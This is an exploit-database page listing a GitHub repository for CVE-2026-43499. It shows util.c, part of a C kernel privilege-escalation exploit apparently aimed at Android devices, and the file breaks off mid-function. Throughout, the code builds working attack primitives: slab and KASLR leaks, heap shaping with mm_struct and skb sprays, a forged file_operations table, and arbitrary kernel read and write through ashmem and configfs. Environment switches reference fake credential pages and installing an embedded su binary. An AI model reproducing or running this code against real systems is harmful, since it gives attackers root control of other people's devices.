Exploit databaseDownload repository ZIP
GH-0a1f40f1afdfd704b9133a515eef195c
bobikl/cve-2026-43499-t807d
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files14
bobikl/cve-2026-43499-t807dRevision 09e932ff0a1f
- ↑..Parent directory
- build/
- kernelsnitch/
- common.h
- fops.c
- main.c
- offset.h
- pipe.c
- preload.c
- root_bridge_helper.c
- slide.c
- su_blob.S
- su_daemon.c
- target.h
- util.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
source/exploit/popsicle/util.c
C · 58,800 bytes#include "common.h"
#include "kernelsnitch/kernelsnitch.h"
static struct kernelsnitch_shared_state *ks;
static size_t mm_objs_per_slab;
static unsigned char *skb_buf;
#define RECLAIM_SOCKET_MAX 16
static int reclaim_svs[RECLAIM_SOCKET_MAX][2];
static size_t reclaim_sv_count;
static int held_shaping_sv[2] = {-1, -1};
static struct mm_ctx prepare_ctx;
static struct mm_ctx warm_ctx;
static struct mm_ctx spray_ctx;
static struct mm_ctx pre_ctx;
static struct mm_ctx post_ctx;
uintptr_t page_base;
uintptr_t fake_lock;
uintptr_t fake_w0;
uintptr_t fake_w1;
uintptr_t fake_fops;
uintptr_t fake_task;
uintptr_t pselect_custom_target;
uintptr_t pselect_custom_value;
int pselect_custom_shape;
int direct_root_cpu = -1;
static cpu_set_t initial_affinity;
static int initial_affinity_valid;
static size_t prepare_slab_count(void) {
const char *env = getenv("PREPARE_SLABS");
if (!env || !*env) {
return 8;
}
char *end = NULL;
errno = 0;
unsigned long value = strtoul(env, &end, 10);
if (errno || end == env || *end != '\0') {
pr_warning("invalid PREPARE_SLABS=%s; using 8\n", env);
return 8;
}
if (value < 4) {
value = 4;
} else if (value > 64) {
value = 64;
}
return (size_t)value;
}
static size_t order3_hold_count(void) {
const char *env = getenv("ORDER3_HOLD_PAGES");
if (!env || !*env) {
return 0;
}
char *end = NULL;
errno = 0;
unsigned long value = strtoul(env, &end, 10);
if (errno || end == env || *end != '\0') {
pr_warning("invalid ORDER3_HOLD_PAGES=%s; using 0\n", env);
return 0;
}
if (value > 64) {
value = 64;
}
return (size_t)value;
}
static size_t reclaim_send_count(void) {
const char *env = getenv("RECLAIM_SENDS");
if (!env || !*env) {
return SKB_RECLAIM_SENDS;
}
char *end = NULL;
errno = 0;
unsigned long value = strtoul(env, &end, 10);
if (errno || end == env || *end != '\0') {
pr_warning("invalid RECLAIM_SENDS=%s; using %d\n",
env, SKB_RECLAIM_SENDS);
return SKB_RECLAIM_SENDS;
}
if (value < 1) {
value = 1;
} else if (value > 4096) {
value = 4096;
}
return (size_t)value;
}
static size_t reclaim_socket_count(void) {
const char *env = getenv("RECLAIM_SOCKETS");
if (!env || !*env) {
return 1;
}
char *end = NULL;
errno = 0;
unsigned long value = strtoul(env, &end, 10);
if (errno || end == env || *end != '\0') {
pr_warning("invalid RECLAIM_SOCKETS=%s; using 1\n", env);
return 1;
}
if (value < 1) {
value = 1;
} else if (value > RECLAIM_SOCKET_MAX) {
value = RECLAIM_SOCKET_MAX;
}
return (size_t)value;
}
static size_t mm_warmup_count(void) {
const char *env = getenv("MM_WARMUP_OBJECTS");
if (!env || !*env) {
return 0;
}
char *end = NULL;
errno = 0;
unsigned long value = strtoul(env, &end, 10);
if (errno || end == env || *end != '\0') {
pr_warning("invalid MM_WARMUP_OBJECTS=%s; using 0\n", env);
return 0;
}
if (value > 2048) {
value = 2048;
}
return (size_t)value;
}
/*
* A candidate mm_struct is only a useful order-3 reclaim target when the
* surrounding slab can become empty. The normal layout reserves 31 objects
* in pre_ctx and then allocates the leak object, so slot 31 is the important
* full-slab case: closing pre_ctx followed by leak_memfd can release all 32
* objects from that slab. Keep this as an opt-in gate because rejecting
* non-slot-31 candidates changes retry pressure and is not needed for the
* historical route.
*/
static int required_candidate_slot(void) {
const char *env = getenv("REQUIRE_CANDIDATE_SLOT");
if (!env || !*env) {
return -1;
}
char *end = NULL;
errno = 0;
long value = strtol(env, &end, 10);
if (errno || end == env || *end != '\0' || value < 0 ||
value >= (long)(ORDER3_SIZE / MM_STRUCT_SZ)) {
pr_warning("invalid REQUIRE_CANDIDATE_SLOT=%s; disabling slot gate\n",
env);
return -1;
}
return (int)value;
}
static int keep_mm_children(void) {
return getenv("KEEP_MM_CHILDREN") != NULL;
}
static void trace_mm_slab(const char *phase) {
if (!getenv("MM_SLAB_TRACE")) {
return;
}
int fd = open("/proc/slabinfo", O_RDONLY | O_CLOEXEC);
if (fd < 0) {
pr_warning("mm slab phase=%s unreadable errno=%d\n", phase, errno);
return;
}
char buf[65536];
size_t used = 0;
while (used < sizeof(buf) - 1) {
ssize_t n = read(fd, buf + used, sizeof(buf) - 1 - used);
if (n < 0) {
int saved_errno = errno;
close(fd);
errno = saved_errno;
pr_warning("mm slab phase=%s read-failed errno=%d\n", phase, errno);
return;
}
if (n == 0) {
break;
}
used += (size_t)n;
}
close(fd);
if (!used) {
pr_warning("mm slab phase=%s read-empty\n", phase);
return;
}
buf[used] = '\0';
char *line = buf;
while (line && *line) {
if (strncmp(line, "mm_struct", 9) == 0 &&
(line[9] == ' ' || line[9] == '\t')) {
size_t active = 0;
size_t total = 0;
size_t objsize = 0;
size_t objs_per_slab = 0;
size_t pages_per_slab = 0;
if (sscanf(line, "mm_struct %zu %zu %zu %zu %zu", &active, &total,
&objsize, &objs_per_slab, &pages_per_slab) == 5) {
pr_info("mm slab phase=%s active=%zu total=%zu obj=%zu "
"objs=%zu pages=%zu\n",
phase, active, total, objsize, objs_per_slab,
pages_per_slab);
} else {
pr_warning("mm slab phase=%s parse-failed line=%s\n", phase, line);
}
return;
}
char *next = strchr(line, '\n');
if (!next) {
break;
}
line = next + 1;
}
pr_warning("mm slab phase=%s entry-not-found\n", phase);
}
static int read_sysfs_u64(const char *path, uint64_t *out) {
char buf[64];
int fd = open(path, O_RDONLY | O_CLOEXEC);
if (fd < 0) {
return 0;
}
ssize_t n = read(fd, buf, sizeof(buf) - 1);
int saved_errno = errno;
close(fd);
if (n <= 0) {
errno = saved_errno;
return 0;
}
buf[n] = 0;
char *end = NULL;
errno = 0;
unsigned long long value = strtoull(buf, &end, 10);
if (errno || end == buf) {
return 0;
}
while (*end == ' ' || *end == '\t' || *end == '\r' || *end == '\n') {
end++;
}
if (*end) {
return 0;
}
*out = (uint64_t)value;
return 1;
}
int init_direct_root_cpu(void) {
if (sched_getaffinity(0, sizeof(initial_affinity), &initial_affinity) != 0) {
return 0;
}
initial_affinity_valid = 1;
long configured = sysconf(_SC_NPROCESSORS_CONF);
if (configured <= 0 || configured > CPU_SETSIZE) {
configured = CPU_SETSIZE;
}
int best = -1;
int fallback = -1;
uint64_t best_freq = 0;
uint64_t best_capacity = 0;
for (int cpu = 0; cpu < configured; cpu++) {
if (!CPU_ISSET(cpu, &initial_affinity)) {
continue;
}
char path[160];
uint64_t online = 1;
snprintf(path, sizeof(path),
"/sys/devices/system/cpu/cpu%d/online", cpu);
if (read_sysfs_u64(path, &online) && online != 1) {
continue;
}
fallback = cpu;
uint64_t freq = 0;
snprintf(path, sizeof(path),
"/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq", cpu);
if (!read_sysfs_u64(path, &freq)) {
snprintf(path, sizeof(path),
"/sys/devices/system/cpu/cpu%d/cpufreq/scaling_max_freq", cpu);
if (!read_sysfs_u64(path, &freq)) {
continue;
}
}
uint64_t capacity = 0;
snprintf(path, sizeof(path),
"/sys/devices/system/cpu/cpu%d/cpu_capacity", cpu);
(void)read_sysfs_u64(path, &capacity);
if (best < 0 || freq > best_freq ||
(freq == best_freq && capacity > best_capacity) ||
(freq == best_freq && capacity == best_capacity && cpu > best)) {
best = cpu;
best_freq = freq;
best_capacity = capacity;
}
}
if (best < 0) {
int current = sched_getcpu();
if (current >= 0 && current < CPU_SETSIZE &&
CPU_ISSET(current, &initial_affinity)) {
best = current;
} else {
best = fallback;
}
if (best >= 0) {
pr_warning("CPU max frequency unavailable; fallback cpu=%d\n", best);
}
}
if (best < 0) {
errno = ENODEV;
return 0;
}
direct_root_cpu = best;
pr_success("runtime performance cpu=%d max_freq=%llu capacity=%llu\n",
best, (unsigned long long)best_freq,
(unsigned long long)best_capacity);
return 1;
}
int restore_initial_affinity(void) {
if (!initial_affinity_valid) {
errno = EINVAL;
return 0;
}
return sched_setaffinity(
0, sizeof(initial_affinity), &initial_affinity) == 0;
}
__attribute__((weak))
int install_embedded_su(pid_t *daemon_pid) {
if (daemon_pid) {
*daemon_pid = -1;
}
errno = ENOSYS;
return 0;
}
void read_first_line(const char *path, char *buf, size_t len) {
if (!len) {
return;
}
snprintf(buf, len, "unreadable");
int fd = open(path, O_RDONLY | O_CLOEXEC);
if (fd < 0) {
return;
}
ssize_t n = read(fd, buf, len - 1);
int saved_errno = errno;
close(fd);
if (n <= 0) {
errno = saved_errno;
return;
}
buf[n] = 0;
buf[strcspn(buf, "\r\n")] = 0;
}
void log_startup_context(void) {
char attr[256];
char enforce[32];
read_first_line("/proc/self/attr/current", attr, sizeof(attr));
read_first_line("/sys/fs/selinux/enforce", enforce, sizeof(enforce));
pr_success("startup pid=%d uid=%u attr=%s enforce=%s direct_cpu=%d\n",
getpid(), getuid(), attr, enforce, direct_root_cpu);
}
void log_slide_child_context(void) {
pr_success("slide child pid=%d uid=%u direct_cpu=%d\n",
getpid(), getuid(), direct_root_cpu);
}
void disable_rseq_for_thread(void) {
}
long futex_op(uint32_t *uaddr, int op, uint32_t val,
const struct timespec *timeout, uint32_t *uaddr2,
uint32_t val3) {
return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
}
long sched_setattr_tid(int tid, int nice_value) {
struct local_sched_attr attr;
memset(&attr, 0, sizeof(attr));
attr.size = sizeof(attr);
attr.sched_policy = SCHED_BATCH;
attr.sched_nice = nice_value;
return syscall(SYS_sched_setattr, tid, &attr, 0);
}
uintptr_t p0_alias_image_offset(uintptr_t data_alias) {
return (data_alias - P0_PAGE_OFFSET) - P0_KERNEL_PHYS_DELTA;
}
uintptr_t kaslr_image_addr(uintptr_t image_addr) {
/* A helper can dlopen the preload image after the parent has exported the
* live slide, but it does not inherit the parent's C globals. Hydrate the
* address domain lazily from that verified environment value so any
* helper-side pselect payload uses relocated kernel callbacks/objects. */
if (kaslr_base == 0) {
const char *slide_text = getenv("DIRECT_KASLR_SLIDE");
if (slide_text && *slide_text) {
char *end = NULL;
errno = 0;
unsigned long long parsed = strtoull(slide_text, &end, 0);
if (!errno && end != slide_text && *end == '\0' &&
parsed <= UINTPTR_MAX - KIMAGE_TEXT_BASE) {
kaslr_slide = (uint64_t)parsed;
kaslr_base = KIMAGE_TEXT_BASE + (uintptr_t)parsed;
}
}
}
return kaslr_base + (image_addr - KIMAGE_TEXT_BASE);
}
uintptr_t text_addr(uintptr_t image_addr) {
return kaslr_image_addr(image_addr);
}
uintptr_t canon_addr(uintptr_t image_addr) {
return kaslr_image_addr(image_addr);
}
uintptr_t pselect_write_value(void) {
return pselect_custom_value;
}
uintptr_t pselect_write_target(void) {
return pselect_custom_target;
}
int pselect_write_shape(void) {
return pselect_custom_shape;
}
void set_pselect_write(uintptr_t target, uintptr_t value, int shape) {
pselect_custom_target = target;
pselect_custom_value = value;
pselect_custom_shape = shape;
}
static uintptr_t pselect_page_replacement_value(void) {
if (getenv("DIRECT_CUSTOM_VALUE_PAGE_FAKE_CRED")) {
return (fake_fops & ~(uintptr_t)(PAGE_SIZE - 1)) + FAKE_CRED_PAGE_OFF;
}
if (getenv("DIRECT_CUSTOM_VALUE_PAGE_FOPS")) {
return fake_fops;
}
if (getenv("DIRECT_CUSTOM_VALUE_PAGE_W1")) {
return fake_w1;
}
if (getenv("DIRECT_CUSTOM_VALUE_PAGE_BASE")) {
return page_base;
}
return pselect_custom_value;
}
void put64(unsigned char *p, size_t off, uint64_t value) {
memcpy(p + off, &value, sizeof(value));
}
static uint64_t peek64(const unsigned char *p, size_t off) {
uint64_t value = 0;
memcpy(&value, p + off, sizeof(value));
return value;
}
void put32(unsigned char *p, size_t off, uint32_t value) {
memcpy(p + off, &value, sizeof(value));
}
static uintptr_t fops_callback_addr(uintptr_t image_addr) {
/* The normal bridge uses canonical text addresses. DIRECT_FOPS_TEXT_ALIAS
* is an explicit physical-alias experiment for kernels whose linear map is
* executable; it avoids treating a missing KASLR slide as valid. */
return getenv("DIRECT_FOPS_TEXT_ALIAS") ?
P0_DATA_ALIAS_CONST(image_addr) : text_addr(image_addr);
}
/* The show oracle uses a small configfs_attribute-shaped object in the
* reclaimed page. Publishing its callback with a post-reclaim arbitrary
* write is unsafe on this target: the first bridge write can race the slab
* page's reuse and panic before configfs_read_iter is entered. When the
* KASLR slide is already known, seed the callback in the page payload before
* reclaim. The helper then only repoints the live configfs read state. */
#define SHOW_PREP_ATTR_OFF 0x100ULL
#define SHOW_PREP_READ_CALLBACK_OFF 0x118ULL
#define SHOW_PREP_GADGET_IDVENDOR_SHOW_OFF \
(KIMAGE_TEXT_BASE + 0x00a27450ULL)
#define SHOW_PREP_CONFIGFS_DO_NOTHING_OFF \
(KIMAGE_TEXT_BASE + 0x00a270c8ULL)
void put_fake_fops_table(unsigned char *p, size_t off) {
put64(p, off + FOPS_OWNER_OFF, 0);
put64(p, off + FOPS_LLSEEK_OFF,
getenv("DIRECT_FOPS_SEEKABLE_LLSEEK") ?
fops_callback_addr(DEFAULT_LLSEEK) :
getenv("DIRECT_FOPS_SAFE_LLSEEK") ?
fops_callback_addr(NOOP_LLSEEK) :
fake_w0 + WAITER_PI_TREE_ENTRY_OFF);
put64(p, off + FOPS_READ_OFF,
getenv("DIRECT_FOPS_MARK_READ") ?
fops_callback_addr(NO_SEEK_END_LLSEEK_SIZE) : 0);
/* vfs_write() rejects the file before reaching write_iter unless
* do_dentry_open() saw a non-NULL write/write_iter and set
* FMODE_CAN_WRITE. The splice bridge deliberately uses write_iter, so
* install a harmless non-NULL .write only as that mode-bit marker. */
put64(p, off + FOPS_WRITE_OFF,
getenv("DIRECT_FOPS_ENABLE_CAN_WRITE") ?
fops_callback_addr(NOOP_LLSEEK) : 0);
put64(p, off + FOPS_READ_ITER_OFF,
fops_callback_addr(CONFIGFS_READ_ITER));
put64(p, off + FOPS_WRITE_ITER_OFF,
fops_callback_addr(CONFIGFS_BIN_WRITE_ITER));
put64(p, off + FOPS_IOCTL_OFF, fops_callback_addr(ASHMEM_IOCTL));
put64(p, off + FOPS_COMPAT_IOCTL_OFF,
fops_callback_addr(ASHMEM_COMPAT_IOCTL));
put64(p, off + FOPS_MMAP_OFF, fops_callback_addr(ASHMEM_MMAP));
put64(p, off + FOPS_OPEN_OFF, fops_callback_addr(ASHMEM_OPEN));
put64(p, off + FOPS_RELEASE_OFF, fops_callback_addr(ASHMEM_RELEASE));
put64(p, off + FOPS_SPLICE_READ_OFF,
fops_callback_addr(COPY_SPLICE_READ));
/* pwrite() is rejected for this forged ashmem file unless the legacy
* write capability is present. The legacy .write slot is not usable as a
* type-confused llseek marker, so use the kernel's real
* iter_file_splice_write adapter instead: it consumes the pipe and calls
* our CFI-correct .write_iter (configfs_bin_write_iter). */
put64(p, off + FOPS_SPLICE_WRITE_OFF,
getenv("DIRECT_FOPS_SPLICE_WRITE") ?
fops_callback_addr(ITER_FILE_SPLICE_WRITE) : 0);
put64(p, off + FOPS_SHOW_FDINFO_OFF,
fops_callback_addr(ASHMEM_SHOW_FDINFO));
if (getenv("DIRECT_FOPS_SHOW_PREP")) {
const size_t page_rel = (size_t)(-SKB_DATA_DELTA);
const uintptr_t callback_image =
getenv("DIRECT_FOPS_SHOW_CALLBACK_NOOP") ?
SHOW_PREP_CONFIGFS_DO_NOTHING_OFF :
SHOW_PREP_GADGET_IDVENDOR_SHOW_OFF;
put64(p, page_rel + SHOW_PREP_READ_CALLBACK_OFF,
fops_callback_addr(callback_image));
}
}
static int try_put_blob_no_zeros(
int fd, const unsigned char *blob, size_t len) {
char name[ASHMEM_NAME_LEN];
memset(name, 0x41, sizeof(name));
for (size_t i = 0; i < len; i++) {
name[i] = blob[i] ? blob[i] : 1;
}
name[len] = 0;
return ioctl(fd, ASHMEM_SET_NAME, name);
}
static int try_put_blob_zero_at(
int fd, const unsigned char *blob, size_t pos) {
char name[ASHMEM_NAME_LEN];
memset(name, 0x41, sizeof(name));
for (size_t i = 0; i < pos; i++) {
name[i] = blob[i] ? blob[i] : 1;
}
name[pos] = 0;
return ioctl(fd, ASHMEM_SET_NAME, name);
}
static int try_set_ashmem_name_blob(
int fd, const unsigned char *blob, size_t len) {
if (try_put_blob_no_zeros(fd, blob, len) != 0) {
return -1;
}
for (size_t i = len; i > 0; i--) {
if (blob[i - 1] == 0 && try_put_blob_zero_at(fd, blob, i - 1) != 0) {
return -1;
}
}
return 0;
}
static uintptr_t parse_direct_alias_env(const char *name,
uintptr_t fallback) {
const char *text = getenv(name);
if (!text || !*text) {
return fallback;
}
char *end = NULL;
errno = 0;
unsigned long long parsed = strtoull(text, &end, 0);
if (errno || end == text || *end != '\0' ||
!is_direct_ptr((uintptr_t)parsed) || (parsed & 7) != 0) {
pr_warning("invalid %s=%s; using %016zx\n", name, text, fallback);
return fallback;
}
return (uintptr_t)parsed;
}
uintptr_t direct_fops_target_alias(void) {
return parse_direct_alias_env(
"DIRECT_FOPS_PROBE_TARGET",
P0_DATA_ALIAS_CONST(ASHMEM_MISC_FOPS));
}
uintptr_t direct_fops_original_alias(void) {
const uintptr_t target = direct_fops_target_alias();
const char *explicit_original = getenv("DIRECT_FOPS_ORIGINAL");
if (explicit_original && *explicit_original) {
return parse_direct_alias_env("DIRECT_FOPS_ORIGINAL",
P0_DATA_ALIAS_CONST(ASHMEM_FOPS));
}
/* ashmem_init() registers four misc devices in this order. When a
* shell-openable variant is selected, restore that variant's fops rather
* than the standard /dev/ashmem table. */
const uintptr_t standard_target = P0_DATA_ALIAS_CONST(ASHMEM_MISC_FOPS);
if (target == standard_target) {
return P0_DATA_ALIAS_CONST(ASHMEM_FOPS);
}
/* struct miscdevice.fops is at +0x10 and ashmem_miscs entries stride
* 0x50; the three variant fops slots are therefore +0x60/+0xb0/+0x100
* from ashmem_miscs, i.e. +0x50/+0xa0/+0xf0 from the standard fops slot.
* The preceding +0x40/+0x90/+0xe0 words are the variant minor fields and
* must never be used as arbitrary-write targets. */
if (target == standard_target + 0x50) {
return P0_DATA_ALIAS_CONST(KIMAGE_TEXT_BASE + 0x0126D080ULL);
}
if (target == standard_target + 0xa0) {
return P0_DATA_ALIAS_CONST(KIMAGE_TEXT_BASE + 0x0126D190ULL);
}
if (target == standard_target + 0xf0) {
return P0_DATA_ALIAS_CONST(KIMAGE_TEXT_BASE + 0x0126D2A0ULL);
}
return P0_DATA_ALIAS_CONST(ASHMEM_FOPS);
}
const char *direct_fops_device_path(void) {
const char *path = getenv("DIRECT_FOPS_DEVICE_PATH");
return path && *path ? path : "/dev/ashmem";
}
int open_ashmem_device(void) {
int flags = getenv("DIRECT_FOPS_OPEN_WRONLY") ? O_WRONLY : O_RDWR;
return open(direct_fops_device_path(), flags | O_CLOEXEC);
}
ssize_t configfs_write_once(
int fd, uintptr_t target, const void *data, size_t len) {
unsigned char blob[128];
memset(blob, 0, sizeof(blob));
put64(blob, CFG_BIN_BUFFER_OFF - ASHMEM_NAME_PREFIX_LEN, target);
put32(blob, CFG_BIN_BUFFER_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN,
(uint32_t)len);
put32(blob, CFG_CB_MAX_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, 0);
errno = 0;
int set_ret = try_set_ashmem_name_blob(fd, blob, sizeof(blob));
int set_errno = errno;
if (set_ret != 0) {
errno = set_errno;
return -1;
}
errno = 0;
ssize_t wr;
if (getenv("DIRECT_FOPS_BRIDGE_USE_SPLICE")) {
int pipefd[2] = {-1, -1};
if (pipe(pipefd) != 0) {
wr = -1;
} else {
ssize_t pushed = write(pipefd[1], data, len);
if (pushed != (ssize_t)len) {
wr = pushed < 0 ? -1 : pushed;
if (pushed >= 0) {
errno = EIO;
}
} else {
#ifndef SYS_splice
#define SYS_splice __NR_splice
#endif
/* Keep the pipe side offsetless. With the explicit
* iter_file_splice_write adapter the file-side NULL offset is also
* valid and avoids the ESPIPE precheck on this ashmem descriptor. */
wr = syscall(SYS_splice, pipefd[0], NULL, fd, NULL, len, 0);
}
close(pipefd[0]);
close(pipefd[1]);
}
} else {
wr = getenv("DIRECT_FOPS_BRIDGE_USE_WRITE") ?
write(fd, data, len) : pwrite(fd, data, len, 0);
}
if (getenv("DIRECT_FOPS_BRIDGE_DEBUG")) {
pr_info("cfg-write fd=%d target=%016zx len=%zu set=%d set_errno=%d "
"wr=%zd wr_errno=%d\n", fd, target, len, set_ret,
set_errno, wr, wr < 0 ? errno : 0);
}
return wr;
}
ssize_t configfs_read_once(
int fd, uintptr_t target, void *data, size_t len) {
unsigned char blob[128];
memset(blob, 0, sizeof(blob));
off_t pos = (off_t)(ASHMEM_PREFIX_COUNT - len);
const char *delta_text = getenv("DIRECT_FOPS_READ_POS_DELTA");
if (delta_text && *delta_text) {
char *end = NULL;
errno = 0;
long long delta = strtoll(delta_text, &end, 0);
if (!errno && end != delta_text && *end == '\0') {
pos += (off_t)delta;
}
}
uintptr_t page = target - (uintptr_t)pos;
put64(blob, CFG_PAGE_OFF - ASHMEM_NAME_PREFIX_LEN, page);
put32(blob, CFG_NEEDS_READ_FILL_OFF - ASHMEM_NAME_PREFIX_LEN, 0);
errno = 0;
int set_ret = try_set_ashmem_name_blob(fd, blob, sizeof(blob));
int set_errno = errno;
if (set_ret != 0) {
errno = set_errno;
return -1;
}
errno = 0;
ssize_t rd;
if (getenv("DIRECT_FOPS_BRIDGE_USE_SPLICE_READ")) {
int pipefd[2] = {-1, -1};
if (pipe(pipefd) != 0) {
rd = -1;
} else {
#ifndef SYS_splice
#define SYS_splice __NR_splice
#endif
off_t in_pos = pos;
ssize_t moved = syscall(SYS_splice, fd, &in_pos, pipefd[1], NULL,
len, 0);
if (moved < 0) {
rd = -1;
} else {
ssize_t got = read(pipefd[0], data, (size_t)moved);
rd = got < 0 ? -1 : got;
}
close(pipefd[0]);
close(pipefd[1]);
}
} else if (getenv("DIRECT_FOPS_BRIDGE_USE_READ")) {
errno = 0;
off_t seek = lseek(fd, pos, SEEK_SET);
int seek_errno = seek < 0 ? errno : 0;
rd = seek < 0 ? -1 : read(fd, data, len);
if (getenv("DIRECT_FOPS_BRIDGE_DEBUG")) {
pr_info("cfg-read-seek fd=%d seek=%016llx seek_errno=%d rd=%zd "
"rd_errno=%d\n", fd, (unsigned long long)seek,
seek_errno, rd, rd < 0 ? errno : 0);
}
} else {
rd = pread(fd, data, len, pos);
}
if (getenv("DIRECT_FOPS_BRIDGE_DEBUG")) {
pr_info("cfg-read fd=%d target=%016zx len=%zu pos=%016llx page=%016zx "
"set=%d set_errno=%d rd=%zd rd_errno=%d\n", fd, target, len,
(unsigned long long)pos, page, set_ret, set_errno, rd,
rd < 0 ? errno : 0);
}
return rd;
}
static pid_t clone_child(void) {
pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
if (child == 0) {
SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL));
if (getppid() == 1) {
_exit(0);
}
pin_to_core(CORE);
for (;;) {
pause();
}
}
return child;
}
static pid_t clone_leak_child(void) {
pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
if (child == 0) {
pin_to_core((size_t)direct_root_cpu);
kernelsnitch_find_collisions(ks);
_exit(0);
}
return child;
}
/*
* The KernelSnitch candidate is an mm_struct slot, not a direct observation
* of the order-3 page after the slot is released. Keep the allocator claim
* falsifiable: when requested, allocate one fresh mm_struct after the
* candidate slab is closed (and/or after an skb send), leak its slab base,
* and compare it with the old candidate. This is an identity probe only;
* it does not participate in the PI trigger or target-write route.
*/
static void probe_order3_identity(const char *phase, uintptr_t candidate_base) {
const char *mode = getenv("ORDER3_IDENTITY_PROBE");
if (!mode || !*mode || !candidate_base) {
return;
}
if (strcmp(mode, "pre") != 0 && strcmp(mode, "post") != 0 &&
strcmp(mode, "both") != 0) {
pr_warning("invalid ORDER3_IDENTITY_PROBE=%s; expected pre, post, or both\n",
mode);
return;
}
if ((strcmp(phase, "post-leak-close") == 0 &&
strcmp(mode, "pre") != 0 && strcmp(mode, "both") != 0) ||
(strcmp(phase, "post-reclaim") == 0 &&
strcmp(mode, "post") != 0 && strcmp(mode, "both") != 0) ||
(strcmp(phase, "post-leak-close") != 0 &&
strcmp(phase, "post-reclaim") != 0)) {
return;
}
struct kernelsnitch_shared_state *saved = ks;
struct kernelsnitch_shared_state *probe = kernelsnitch_setup(
MM_STRUCT_SZ, MM_ORDER, (size_t)sysconf(_SC_NPROCESSORS_ONLN),
KSNITCH_COLLISIONS, 0, 0);
ks = probe;
pid_t child = clone_leak_child();
SYSCHK(waitpid(child, NULL, 0));
kernelsnitch_bruteforce(ks);
uintptr_t leaked = ks->mm_struct;
uintptr_t probed_base = leaked == (uintptr_t)-1
? 0 : leaked & ~(ORDER3_SIZE - 1);
pr_info("order3 identity probe phase=%s candidate=%016zx mm=%016zx "
"base=%016zx same=%d\n",
phase, candidate_base, leaked, probed_base,
probed_base != 0 && probed_base == candidate_base);
kernelsnitch_cleanup(ks);
ks = saved;
}
static int open_memfd(pid_t child) {
char path[64];
snprintf(path, sizeof(path), "/proc/%d/mem", child);
return SYSCHK(open(path, O_RDONLY | O_CLOEXEC));
}
static void kill_child(pid_t child) {
if (child <= 0) {
return;
}
SYSCHK(kill(child, SIGKILL));
SYSCHK(waitpid(child, NULL, 0));
}
void close_reclaim_sockets(void) {
for (size_t pair = 0; pair < reclaim_sv_count; pair++) {
for (int i = 0; i < 2; i++) {
if (reclaim_svs[pair][i] >= 0) {
close(reclaim_svs[pair][i]);
reclaim_svs[pair][i] = -1;
}
}
}
reclaim_sv_count = 0;
for (int i = 0; i < 2; i++) {
if (held_shaping_sv[i] >= 0) {
close(held_shaping_sv[i]);
held_shaping_sv[i] = -1;
}
}
}
static void close_ctx_memfd_at(struct mm_ctx *ctx, size_t index) {
if (ctx->childs && ctx->childs[index] > 0) {
kill_child(ctx->childs[index]);
ctx->childs[index] = -1;
}
if (ctx->memfds[index] >= 0) {
close(ctx->memfds[index]);
ctx->memfds[index] = -1;
}
}
static void close_ctx_memfds(struct mm_ctx *ctx) {
if (!ctx->memfds || !ctx->childs) {
ctx->mm_cnt = 0;
return;
}
for (size_t i = 0; i < ctx->mm_cnt; i++) {
close_ctx_memfd_at(ctx, i);
}
}
static void free_ctx_storage(struct mm_ctx *ctx) {
free(ctx->memfds);
free(ctx->childs);
ctx->memfds = NULL;
ctx->childs = NULL;
ctx->mm_cnt = 0;
}
void cleanup_page_prepare_state(void) {
close_ctx_memfds(&prepare_ctx);
close_ctx_memfds(&warm_ctx);
close_ctx_memfds(&spray_ctx);
close_ctx_memfds(&pre_ctx);
close_ctx_memfds(&post_ctx);
free_ctx_storage(&prepare_ctx);
free_ctx_storage(&spray_ctx);
free_ctx_storage(&pre_ctx);
free_ctx_storage(&post_ctx);
free(skb_buf);
skb_buf = NULL;
}
static int clone_memfd(void) {
pid_t child = clone_child();
int fd = open_memfd(child);
kill_child(child);
return fd;
}
static int clone_memfd_for(struct mm_ctx *ctx, size_t index) {
pid_t child = clone_child();
int fd = open_memfd(child);
if (keep_mm_children()) {
ctx->childs[index] = child;
} else {
kill_child(child);
}
return fd;
}
static int init_ctx(struct mm_ctx *ctx, size_t count) {
memset(ctx, 0, sizeof(*ctx));
ctx->mm_cnt = count;
if (count > SIZE_MAX / sizeof(*ctx->memfds) ||
count > SIZE_MAX / sizeof(*ctx->childs)) {
pr_error("mm context size overflow count=%zu\n", count);
ctx->mm_cnt = 0;
return 0;
}
if (count == 0) {
return 1;
}
ctx->memfds = malloc(count * sizeof(*ctx->memfds));
ctx->childs = malloc(count * sizeof(*ctx->childs));
if (!ctx->memfds || !ctx->childs) {
pr_error("mm context allocation failed count=%zu\n", count);
free(ctx->memfds);
free(ctx->childs);
ctx->memfds = NULL;
ctx->childs = NULL;
ctx->mm_cnt = 0;
return 0;
}
for (size_t i = 0; i < count; i++) {
ctx->memfds[i] = -1;
ctx->childs[i] = -1;
}
return 1;
}
static int prepare_ctxs(void) {
size_t slabs = prepare_slab_count();
size_t warmup = mm_warmup_count();
if (!init_ctx(&prepare_ctx, slabs * mm_objs_per_slab) ||
!init_ctx(&warm_ctx, warmup) ||
!init_ctx(&spray_ctx, (1 + MM_PARTIALS) * mm_objs_per_slab) ||
!init_ctx(&pre_ctx, mm_objs_per_slab - 1) ||
!init_ctx(&post_ctx, mm_objs_per_slab)) {
pr_error("mm context initialization failed\n");
cleanup_page_prepare_state();
return 0;
}
pr_info("mm reclaim layout warmup_objs=%zu prepare_slabs=%zu prepare_objs=%zu "
"spray_objs=%zu pre_objs=%zu post_objs=%zu stride=%zu "
"order=%d reclaim_len=%zu\n",
warmup, slabs, prepare_ctx.mm_cnt, spray_ctx.mm_cnt, pre_ctx.mm_cnt,
post_ctx.mm_cnt, (size_t)MM_STRUCT_SZ, MM_ORDER,
(size_t)SKB_RECLAIM_SIZE);
int required_slot = required_candidate_slot();
if (required_slot >= 0) {
pr_info("mm candidate slot gate=%d/%zu\n", required_slot,
mm_objs_per_slab);
}
if (keep_mm_children()) {
pr_info("mm lifecycle KEEP_MM_CHILDREN=1\n");
}
return 1;
}
static void put_direct_waiter(
unsigned char *p, uintptr_t parent, uintptr_t right,
uintptr_t left, uint64_t waiter_task) {
